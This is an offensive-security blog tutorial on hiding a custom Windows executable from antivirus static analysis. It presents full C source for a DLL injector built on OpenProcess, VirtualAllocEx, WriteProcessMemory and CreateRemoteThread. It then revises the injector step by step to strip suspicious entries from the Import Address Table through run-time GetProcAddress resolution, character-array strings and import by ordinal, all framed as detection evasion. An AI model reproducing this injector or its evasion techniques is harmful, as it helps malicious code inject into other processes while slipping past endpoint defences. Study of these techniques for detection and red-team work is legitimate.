You’ve spent the last hour cheffing up a spicy, homemade, Windows executable just right for your target. Go to compile it and, sweet, there are no errors. Fire up the isolated VM and give it a few test runs and it’s working great. That ASCII art is looking mighty clean I must say. Time to send it downrange. Upload completes and you can see it on the file system.

Bombs away!

PS C:\Users\ksoze> ./beastmode.exe
./beastmode.exe : The term './beastmode.exe' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ ./beastmode.exe
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (./beastmode.exe:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

Wait what? It was just… deleted. “But it’s custom, no vendor has ever seen this file hash”, you tell yourself. Was it sandboxed and analyzed that quickly? Nah, it’s got to be something static.

The executable’s Import Address Table may be giving away its intentions before it’s run.

Import Address Table

PE files use their Import Address Table to reference functions imported from DLLs. When the PE is executed, the Windows loader maps everything into memory and fills the IAT with the appropriate addresses. Let’s take a look at the source code of a sample program and see how it can be improved.

// injector.c injects a DLL into a process
// If you want to use this, make sure to check return values for errors.
#include <Windows.h>

int wmain(int argc, PWSTR* argv) {
	HANDLE process = OpenProcess(
		PROCESS_ALL_ACCESS,
		FALSE,
		_wtoi(argv[1])
	);
	PVOID remoteBuffer = VirtualAllocEx(
		process,
		NULL,
		(wcslen(argv[2]) + 1) * sizeof(WCHAR),
		MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE
	);
	WriteProcessMemory(
		process,
		remoteBuffer,
		argv[2],
		(wcslen(argv[2]) + 1) * sizeof(WCHAR),
		NULL
	);
	PVOID pLoadLibraryW = GetProcAddress(
		GetModuleHandleW(L"kernel32.dll"),
		"LoadLibraryW"
	);
	CreateRemoteThread(
		process,
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)pLoadLibraryW,
		remoteBuffer,
		0,
		NULL
	);
	return 0;
}

injector.c is a bare-bones DLL injector that:

  • Gets a process handle using OpenProcess
  • Uses VirtualAllocEx to create a writable buffer in the remote process
  • Writes the absolute path of a DLL into the remote buffer with WriteProcessMemory
  • Combines GetModuleHandleW and GetProcAddress to get a pointer to LoadLibraryW
  • Uses CreateRemoteThread to remotely call LoadLibraryW with the DLL path as an argument

All in all, that’s 7 Windows API functions being referenced from kernel32.dll. Here’s the compiled program’s IAT viewed in PE Bear.

injector.exe’s IAT

Suspicious combinations of IAT entries can be enough for static analysis to flag a custom PE. In our case, those four at the bottom are a good indicator injector.exe can tamper with other processes. However, you may have noticed LoadLibraryW isn’t present in the IAT. That’s because GetProcAddress is used to link it in at run-time instead of load-time.

Run-Time Dynamic Linking with GetProcAddress

What if we use GetProcAddress for all of our suspicious Windows API function imports? The only hurdle is that GetProcAddress returns generic function pointers (FARPROCs) which can be messy. We can use typedefs to provide a little type safety and simplify the calling syntax. You can find the function signatures you need from local header files or MSDN.

// injector.c injects a DLL into a process
// If you want to use this, make sure to check return values for errors.
#include <Windows.h>

//////////////////////////////////////////////////////////////////////////////
// typedef the function signature of each dynamic import
//
// OpenProcess
typedef HANDLE (WINAPI* op) (
    DWORD dwDesiredAccess,
    BOOL  bInheritHandle,
    DWORD dwProcessId
);
// VirtualAllocEx
typedef LPVOID (WINAPI* vaex) (
    HANDLE hProcess,
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
);
// WriteProcessMemory
typedef BOOL (WINAPI* wpm) (
    HANDLE  hProcess,
    LPVOID  lpBaseAddress,
    LPCVOID lpBuffer,
    SIZE_T  nSize,
    SIZE_T* lpNumberOfBytesWritten
);
// CreateRemoteThread
typedef HANDLE (WINAPI* crt) (
    HANDLE                 hProcess,
    LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    SIZE_T                 dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID                 lpParameter,
    DWORD                  dwCreationFlags,
    LPDWORD                lpThreadId
);
//////////////////////////////////////////////////////////////////////////////

int wmain(int argc, PWSTR* argv) {
    HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");

    // Initialize your imported function as one of the types declared above
    op pOpenProcess = GetProcAddress(kernel32, "OpenProcess");
    HANDLE process = pOpenProcess(
        PROCESS_ALL_ACCESS,
        FALSE,
        _wtoi(argv[1])
    );
    vaex pVirtualAllocEx = GetProcAddress(kernel32, "VirtualAllocEx");
    PVOID remoteBuffer = pVirtualAllocEx(
        process,
        NULL,
        (wcslen(argv[2]) + 1) * sizeof(WCHAR),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    wpm pWriteProcessMemory = GetProcAddress(kernel32, "WriteProcessMemory");
    pWriteProcessMemory(
        process,
        remoteBuffer,
        argv[2],
        (wcslen(argv[2]) + 1) * sizeof(WCHAR),
        NULL
    );
    PVOID pLoadLibraryW = GetProcAddress(
        GetModuleHandleW(L"kernel32.dll"),
        "LoadLibraryW"
    );
    crt pCreateRemoteThread = GetProcAddress(kernel32, "CreateRemoteThread");
    pCreateRemoteThread(
        process,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)pLoadLibraryW,
        remoteBuffer,
        0,
        NULL
    );
    return 0;
}

With some modifications, all of the functions we need from kernel32.dll, except GetProcAddress and GetModuleHandleW, are loaded dynamically. Let’s compile it and see what the IAT looks like.

Stealthier IAT

Would you look at that? OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread are no longer present. However, now the string parameters for GetProcAddress are embedded in the binary.

String dump of injector.exe

The next step is typically to encrypt or obfuscate the strings until they are passed to GetProcAddress. One trick I’ve seen is to use null-terminated arrays of chars instead of strings. This generates assembly instructions that build strings dynamically instead of embedding them intact.

// injector.c injects a DLL into a process
// If you want to use this, make sure to check return values for errors.
#include <Windows.h>

// snip...

char kernel32Str[] = {'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0};
char openProcessStr[] = {'o', 'p', 'e', 'n', 'p', 'r', 'o', 'c', 'e', 's', 's', 0};
char virtualAllocExStr[] = {'v', 'i', 'r', 't', 'u', 'a', 'l', 'a', 'l', 'l', 'o', 'c', 'e', 'x', 0};

// snip...

int wmain(int argc, PWSTR* argv) {
    HMODULE kernel32 = GetModuleHandleW(kernel32Str);

    op pOpenProcess = GetProcAddress(kernel32, openProcessStr);
    HANDLE process = pOpenProcess(
        PROCESS_ALL_ACCESS,
        FALSE,
        _wtoi(argv[1])
    );
    vaex pVirtualAllocEx = GetProcAddress(kernel32, virtualAllocExStr);
    PVOID remoteBuffer = pVirtualAllocEx(
        process,
        NULL,
        (wcslen(argv[2]) + 1) * sizeof(WCHAR),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

// snip...

Our injector is now much more resilient to static analysis techniques. This should be enough to evade detections based on the presence of function names.

Bonus: Import by Ordinal

With the assistance of a debugger, examining what strings are passed into GetProcAddress is simple. An analyst could set a breakpoint in kernel32.dll on GetProcAddress and examine register states during each call.

Breakpoint on GetProcAddress

This would reveal the name of each function being loaded dynamically. Here’s an example of what retrieving the address of OpenProcess would look like.

GetProcAddress of OpenProcess break

However, GetProcAddress doesn’t need a function’s name. According to MSDN, it can also look it up by its ordinal:

Parameters

hModule

A handle to the DLL module that contains the function or variable. The LoadLibrary, LoadLibraryEx, LoadPackagedLibrary, or GetModuleHandle function returns this handle.

The GetProcAddress function does not retrieve addresses from modules that were loaded using the LOAD_LIBRARY_AS_DATAFILE flag. For more information, see LoadLibraryEx.

lpProcName

The function or variable name, or the function’s ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the high-order word must be zero.

An ordinal is the ID number of a function exported by a DLL. We can find the ordinal numbers we need in most PE viewers, I like PE Bear. Simply load up kernel32.dll, browse its exports for the function you need, and note its ordinal.

PE Bear find ordinal

Here’s what the final version of injector.c looks like:

// injector.c injects a DLL into a process
// If you want to use this, make sure to check return values for errors.
#include <Windows.h>

// OpenProcess
typedef HANDLE (WINAPI* op) (
    DWORD dwDesiredAccess,
    BOOL  bInheritHandle,
    DWORD dwProcessId
);
// VirtualAllocEx
typedef LPVOID (WINAPI* vaex) (
    HANDLE hProcess,
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
);
// WriteProcessMemory
typedef BOOL (WINAPI* wpm) (
    HANDLE  hProcess,
    LPVOID  lpBaseAddress,
    LPCVOID lpBuffer,
    SIZE_T  nSize,
    SIZE_T* lpNumberOfBytesWritten
);
// CreateRemoteThread
typedef HANDLE (WINAPI* crt) (
    HANDLE                 hProcess,
    LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    SIZE_T                 dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID                 lpParameter,
    DWORD                  dwCreationFlags,
    LPDWORD                lpThreadId
);

int wmain(int argc, PWSTR* argv) {
    HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");

    // Note the hex value instead of a string
    op pOpenProcess = GetProcAddress(kernel32, 0x411);
    HANDLE process = pOpenProcess(
        PROCESS_ALL_ACCESS,
        FALSE,
        _wtoi(argv[1])
    );
    vaex pVirtualAllocEx = GetProcAddress(kernel32, 0x5D7);
    PVOID remoteBuffer = pVirtualAllocEx(
        process,
        NULL,
        (wcslen(argv[2]) + 1) * sizeof(WCHAR),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    wpm pWriteProcessMemory = GetProcAddress(kernel32, 0x62B);
    pWriteProcessMemory(
        process,
        remoteBuffer,
        argv[2],
        (wcslen(argv[2]) + 1) * sizeof(WCHAR),
        NULL
    );
    PVOID pLoadLibraryW = GetProcAddress(
        GetModuleHandleW(L"kernel32.dll"),
        "LoadLibraryW"
    );
    crt pCreateRemoteThread = GetProcAddress(kernel32, 0xE8);
    pCreateRemoteThread(
        process,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)pLoadLibraryW,
        remoteBuffer,
        0,
        NULL
    );
    return 0;
}

Within x64dbg if we once again break on GetProcAddress, we will no longer see that obvious function name. The RDX register now contains our function’s ordinal, 0x411.

Break on GetProcAddress ordinal

An analyst would now have to take a few extra steps to find out what function our program is importing. They could trace the ordinal number back to its function name. Or, they could step through the debugger until GetProcAddress returns (CTRL+F9 in x64dbg) and examine the return value. The latter is simple since kernel32.dll has debug symbols.

GetProcAddress return value

References